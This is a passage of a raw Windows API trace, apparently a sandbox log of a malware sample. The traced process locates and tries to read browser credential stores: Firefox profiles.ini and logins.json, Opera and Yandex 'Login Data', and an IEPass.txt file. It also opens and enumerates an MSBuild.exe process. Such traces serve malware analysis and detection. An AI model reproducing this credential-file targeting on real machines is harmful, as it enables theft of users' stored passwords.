returned 0x1 [0054.559] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.559] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.559] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.559] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.559] VarDecCmp (pdecLeft=0x26d1f0, pdecRight=0x26d1e0) returned 0x1 [0054.559] VarDecRound (in: pdecIn=0x26d1f0, cDecimals=0, pdecResult=0x26d1d8 | out: pdecResult=0x26d1d8) returned 0x0 [0054.662] VarDecRound (in: pdecIn=0x26dc34, cDecimals=0, pdecResult=0x26dc1c | out: pdecResult=0x26dc1c) returned 0x0 [0054.662] VarDecRound (in: pdecIn=0x26dbfc, cDecimals=0, pdecResult=0x26dbe4 | out: pdecResult=0x26dbe4) returned 0x0 [0054.662] VarDecRound (in: pdecIn=0x26dbfc, cDecimals=0, pdecResult=0x26dbe4 | out: pdecResult=0x26dbe4) returned 0x0 [0054.696] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xb18) returned 0x4e8 [0054.696] GetLastError () returned 0x0 [0054.698] GetExitCodeProcess (in: hProcess=0x4e8, lpExitCode=0x26d3910 | out: lpExitCode=0x26d3910*=0x103) returned 1 [0054.698] GetLastError () returned 0x0 [0054.701] IsWow64Process (in: hProcess=0x4e8, Wow64Process=0x26d864 | out: Wow64Process=0x26d864) returned 1 [0054.701] GetLastError () returned 0x0 [0054.701] CloseHandle (hObject=0x4e8) returned 1 [0054.701] GetLastError () returned 0x0 [0054.731] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0x787820, nSize=0x80 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0054.731] GetLastError () returned 0x0 [0054.740] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini", nBufferLength=0x105, lpBuffer=0x26e448, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini", lpFilePart=0x0) returned 0x4a [0054.740] GetLastError () returned 0x0 [0054.740] SetErrorMode (uMode=0x1) returned 0x0 [0054.740] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x4e8 [0054.741] GetLastError () returned 0x0 [0054.741] GetFileType (hFile=0x4e8) returned 0x1 [0054.742] GetFileType (hFile=0x4e8) returned 0x1 [0054.742] ReadFile (in: hFile=0x4e8, lpBuffer=0x26da528, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x26e9b0, lpOverlapped=0x0 | out: lpBuffer=0x26da528*, lpNumberOfBytesRead=0x26e9b0*=0x6f, lpOverlapped=0x0) returned 1 [0054.743] GetLastError () returned 0x0 [0054.743] ReadFile (in: hFile=0x4e8, lpBuffer=0x26da528, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x26e9b0, lpOverlapped=0x0 | out: lpBuffer=0x26da528*, lpNumberOfBytesRead=0x26e9b0*=0x0, lpOverlapped=0x0) returned 1 [0054.743] GetLastError () returned 0x0 [0054.743] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\logins.json", nBufferLength=0x105, lpBuffer=0x26e5ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\logins.json", lpFilePart=0x0) returned 0x63 [0054.743] GetLastError () returned 0x0 [0054.743] SetErrorMode (uMode=0x1) returned 0x0 [0054.743] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\logins.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\logins.json"), fInfoLevelId=0x0, lpFileInformation=0x26ea2c | out: lpFileInformation=0x26ea2c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0054.746] GetLastError () returned 0x2 [0054.747] SetErrorMode (uMode=0x0) returned 0x1 [0054.788] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x787820 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x0 [0054.788] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x26e550, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpFilePart=0x0) returned 0x2d [0054.788] GetLastError () returned 0x3f0 [0054.788] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data", nBufferLength=0x105, lpBuffer=0x26e578, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data", lpFilePart=0x0) returned 0x54 [0054.788] GetLastError () returned 0x3f0 [0054.788] SetErrorMode (uMode=0x1) returned 0x0 [0054.788] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\opera software\\opera stable\\login data"), fInfoLevelId=0x0, lpFileInformation=0x26e9f8 | out: lpFileInformation=0x26e9f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0054.789] GetLastError () returned 0x3 [0054.789] SetErrorMode (uMode=0x0) returned 0x1 [0054.796] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x787820 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0054.796] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x26e550, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpFilePart=0x0) returned 0x2b [0054.796] GetLastError () returned 0x3f0 [0054.796] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x26e578, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x5d [0054.796] GetLastError () returned 0x3f0 [0054.796] SetErrorMode (uMode=0x1) returned 0x0 [0054.796] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Login Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\yandex\\yandexbrowser\\user data\\default\\login data"), fInfoLevelId=0x0, lpFileInformation=0x26e9f8 | out: lpFileInformation=0x26e9f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0054.796] GetLastError () returned 0x3 [0054.796] SetErrorMode (uMode=0x0) returned 0x1 [0054.798] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe.Config", nBufferLength=0x105, lpBuffer=0x26e4b8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe.Config", lpFilePart=0x0) returned 0x40 [0054.799] GetLastError () returned 0x3 [0054.799] SetErrorMode (uMode=0x1) returned 0x0 [0054.799] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe.Config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\msbuild.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x26e960 | out: lpFileInformation=0x26e960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb60eb98, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb60eb98, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa46808fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x22f)) returned 1 [0054.799] GetLastError () returned 0x3 [0054.799] SetErrorMode (uMode=0x0) returned 0x1 [0054.920] GetEnvironmentVariableW (in: lpName="temp", lpBuffer=0x787820, nSize=0x80 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0054.920] GetLastError () returned 0x3 [0054.920] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x26e5ac, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0054.920] GetLastError () returned 0x3 [0054.920] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\IEPass.txt", nBufferLength=0x105, lpBuffer=0x26e5d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\IEPass.txt", lpFilePart=0x0) returned 0x3b [0054.920] GetLastError () returned 0x3 [0054.920] SetErrorMode (uMode=0x1) returned 0x0 [0054.920] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\IEPass.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\iepass.txt"), fInfoLevelId=0x0, lpFileInformation=0x26ea54 | out: lpFileInformation=0x26ea54*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0054.921] GetLastError () returned 0x2 [0054.921] SetErrorMode (uMode=0x0) returned 0x1 [0054.921] GetEnvironmentVariableW (in: lpName="windir", lpBuffer=0x787820, nSize=0x80 | out: lpBuffer="C:\\Windows") returned 0xa [0054.921] GetLastError () returned 0x2 [0054.921] GetEnvironmentVariableW (in: lpName="temp", lpBuffer=0x787820, nSize=0x80 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0054.921] GetLastError () returned 0x2 [0054.950] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb18) returned 0x4e4 [0054.950] GetLastError () returned 0x2 [0054.958] EnumProcessModules (in: hProcess=0x4e4, lphModule=0x26eb28c, cb=0x100, lpcbNeeded=0x26e240 | out: lphModule=0x26eb28c, lpcbNeeded=0x26e240) returned 1 [0054.959] GetLastError () returned 0x2 [0054.959] EnumProcessModules (in: hProcess=0x4e4, lphModule=0x26eb398, cb=0x200, lpcbNeeded=0x26e240 | out: lphModule=0x26eb398, lpcbNeeded=0x26e240) returned 1 [0054.960] GetLastError () returned 0x2 [0054.961] GetModuleInformation (in: hProcess=0x4e4, hModule=0x400000, lpmodinfo=0x26eb5d8, cb=0xc | out: lpmodinfo=0x26eb5d8*(lpBaseOfDll=0x400000, SizeOfImage=0x58000, EntryPoint=0x45224e)) returned 1 [0054.961] GetLastError () returned 0x2 [0054.962] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x400000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSBuild.exe") returned 0xb [0054.962] GetLastError () returned 0x2 [0054.962] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x400000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\MSBuild.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\msbuild.exe")) returned 0x39 [0054.962] GetLastError () returned 0x2 [0054.962] GetModuleInformation (in: hProcess=0x4e4, hModule=0x77130000, lpmodinfo=0x26ec728, cb=0xc | out: lpmodinfo=0x26ec728*(lpBaseOfDll=0x77130000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0054.962] GetLastError () returned 0x2 [0054.962] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x77130000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0054.963] GetLastError () returned 0x2 [0054.963] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x77130000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0054.963] GetLastError () returned 0x2 [0054.963] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74b20000, lpmodinfo=0x26ed81c, cb=0xc | out: lpmodinfo=0x26ed81c*(lpBaseOfDll=0x74b20000, SizeOfImage=0x4a000, EntryPoint=0x74b22e54)) returned 1 [0054.963] GetLastError () returned 0x2 [0054.963] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74b20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0054.963] GetLastError () returned 0x2 [0054.963] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74b20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0054.963] GetLastError () returned 0x2 [0054.963] GetModuleInformation (in: hProcess=0x4e4, hModule=0x76c20000, lpmodinfo=0x26ee918, cb=0xc | out: lpmodinfo=0x26ee918*(lpBaseOfDll=0x76c20000, SizeOfImage=0x110000, EntryPoint=0x76c332d3)) returned 1 [0054.964] GetLastError () returned 0x2 [0054.964] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x76c20000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0054.964] GetLastError () returned 0x2 [0054.964] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x76c20000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0054.964] GetLastError () returned 0x2 [0054.964] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75960000, lpmodinfo=0x26efa1c, cb=0xc | out: lpmodinfo=0x26efa1c*(lpBaseOfDll=0x75960000, SizeOfImage=0x46000, EntryPoint=0x75967478)) returned 1 [0054.964] GetLastError () returned 0x2 [0054.964] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75960000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0054.964] GetLastError () returned 0x2 [0054.964] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75960000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0054.965] GetLastError () returned 0x2 [0054.965] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74d40000, lpmodinfo=0x26f0b58, cb=0xc | out: lpmodinfo=0x26f0b58*(lpBaseOfDll=0x74d40000, SizeOfImage=0xa0000, EntryPoint=0x74d549e5)) returned 1 [0054.965] GetLastError () returned 0x2 [0054.965] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74d40000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0054.965] GetLastError () returned 0x2 [0054.965] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74d40000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0054.965] GetLastError () returned 0x2 [0054.965] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74e10000, lpmodinfo=0x26f1c5c, cb=0xc | out: lpmodinfo=0x26f1c5c*(lpBaseOfDll=0x74e10000, SizeOfImage=0xac000, EntryPoint=0x74e1a472)) returned 1 [0054.965] GetLastError () returned 0x2 [0054.966] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74e10000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0054.966] GetLastError () returned 0x2 [0054.966] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74e10000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0054.966] GetLastError () returned 0x2 [0054.966] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75740000, lpmodinfo=0x26f2d58, cb=0xc | out: lpmodinfo=0x26f2d58*(lpBaseOfDll=0x75740000, SizeOfImage=0x19000, EntryPoint=0x75744975)) returned 1 [0054.966] GetLastError () returned 0x2 [0054.966] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75740000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0054.967] GetLastError () returned 0x2 [0054.967] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75740000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0054.967] GetLastError () returned 0x2 [0054.967] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75ee0000, lpmodinfo=0x26f3e54, cb=0xc | out: lpmodinfo=0x26f3e54*(lpBaseOfDll=0x75ee0000, SizeOfImage=0xf0000, EntryPoint=0x75ef0569)) returned 1 [0054.967] GetLastError () returned 0x2 [0054.967] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75ee0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0054.967] GetLastError () returned 0x2 [0054.968] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75ee0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0054.968] GetLastError () returned 0x2 [0054.968] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74c90000, lpmodinfo=0x26f4fa0, cb=0xc | out: lpmodinfo=0x26f4fa0*(lpBaseOfDll=0x74c90000, SizeOfImage=0x60000, EntryPoint=0x74caa3b3)) returned 1 [0054.968] GetLastError () returned 0x2 [0054.968] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74c90000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0054.968] GetLastError () returned 0x2 [0054.968] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74c90000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0054.969] GetLastError () returned 0x2 [0054.969] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74c80000, lpmodinfo=0x26f609c, cb=0xc | out: lpmodinfo=0x26f609c*(lpBaseOfDll=0x74c80000, SizeOfImage=0xc000, EntryPoint=0x74c810e1)) returned 1 [0054.969] GetLastError () returned 0x2 [0054.969] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74c80000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0054.969] GetLastError () returned 0x2 [0054.969] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74c80000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0054.969] GetLastError () returned 0x2 [0054.970] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74aa0000, lpmodinfo=0x26f71a0, cb=0xc | out: lpmodinfo=0x26f71a0*(lpBaseOfDll=0x74aa0000, SizeOfImage=0x78000, EntryPoint=0x74aaf7ba)) returned 1 [0054.970] GetLastError () returned 0x2 [0054.970] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74aa0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0054.970] GetLastError () returned 0x2 [0054.970] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74aa0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0054.970] GetLastError () returned 0x2 [0054.971] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75340000, lpmodinfo=0x26f82d8, cb=0xc | out: lpmodinfo=0x26f82d8*(lpBaseOfDll=0x75340000, SizeOfImage=0x57000, EntryPoint=0x75359ba6)) returned 1 [0054.971] GetLastError () returned 0x2 [0054.971] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75340000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0054.971] GetLastError () returned 0x2 [0054.971] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75340000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0054.971] GetLastError () returned 0x2 [0054.971] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75ad0000, lpmodinfo=0x26f93d4, cb=0xc | out: lpmodinfo=0x26f93d4*(lpBaseOfDll=0x75ad0000, SizeOfImage=0x90000, EntryPoint=0x75ae6343)) returned 1 [0054.972] GetLastError () returned 0x2 [0054.972] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75ad0000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0054.972] GetLastError () returned 0x2 [0054.972] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75ad0000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0054.973] GetLastError () returned 0x2 [0054.973] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74f40000, lpmodinfo=0x26fa4c8, cb=0xc | out: lpmodinfo=0x26fa4c8*(lpBaseOfDll=0x74f40000, SizeOfImage=0x100000, EntryPoint=0x74f5b6ed)) returned 1 [0054.973] GetLastError () returned 0x2 [0054.973] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74f40000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0054.973] GetLastError () returned 0x2 [0054.973] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74f40000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0054.974] GetLastError () returned 0x2 [0054.974] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75130000, lpmodinfo=0x26fb5c4, cb=0xc | out: lpmodinfo=0x26fb5c4*(lpBaseOfDll=0x75130000, SizeOfImage=0xa000, EntryPoint=0x751336a0)) returned 1 [0054.974] GetLastError () returned 0x2 [0054.974] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75130000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0054.974] GetLastError () returned 0x2 [0054.974] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75130000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0054.975] GetLastError () returned 0x2 [0054.975] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75090000, lpmodinfo=0x26fc6b0, cb=0xc | out: lpmodinfo=0x26fc6b0*(lpBaseOfDll=0x75090000, SizeOfImage=0x9d000, EntryPoint=0x750c3fd7)) returned 1 [0054.975] GetLastError () returned 0x2 [0054.975] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75090000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0054.975] GetLastError () returned 0x2 [0054.976] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75090000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0054.976] GetLastError () returned 0x2 [0054.976] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75b60000, lpmodinfo=0x26fd834, cb=0xc | out: lpmodinfo=0x26fd834*(lpBaseOfDll=0x75b60000, SizeOfImage=0x60000, EntryPoint=0x75b7158f)) returned 1 [0054.976] GetLastError () returned 0x2 [0054.976] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75b60000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0054.977] GetLastError () returned 0x2 [0054.977] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75b60000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0054.977] GetLastError () returned 0x2 [0054.977] GetModuleInformation (in: hProcess=0x4e4, hModule=0x75150000, lpmodinfo=0x26fe928, cb=0xc | out: lpmodinfo=0x26fe928*(lpBaseOfDll=0x75150000, SizeOfImage=0xcc000, EntryPoint=0x7515168b)) returned 1 [0054.977] GetLastError () returned 0x2 [0054.977] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x75150000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0054.978] GetLastError () returned 0x2 [0054.978] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x75150000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0054.978] GetLastError () returned 0x2 [0054.978] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74a90000, lpmodinfo=0x26ffa1c, cb=0xc | out: lpmodinfo=0x26ffa1c*(lpBaseOfDll=0x74a90000, SizeOfImage=0x9000, EntryPoint=0x74a91220)) returned 1 [0054.979] GetLastError () returned 0x2 [0054.979] GetModuleBaseNameW (in: hProcess=0x4e4, hModule=0x74a90000, lpBaseName=0x787820, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0054.979] GetLastError () returned 0x2 [0054.979] GetModuleFileNameExW (in: hProcess=0x4e4, hModule=0x74a90000, lpFilename=0x787820, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0054.980] GetLastError () returned 0x2 [0054.980] GetModuleInformation (in: hProcess=0x4e4, hModule=0x74000000, lpmodinfo=0x2700b18, cb=0xc | out: lpmodinfo=0x2700b18*(lpBaseOfDll=0x74000000, SizeOfImage=0x5ab000, EntryPoint=0x74053dc0)) returned 1 [0054.980] 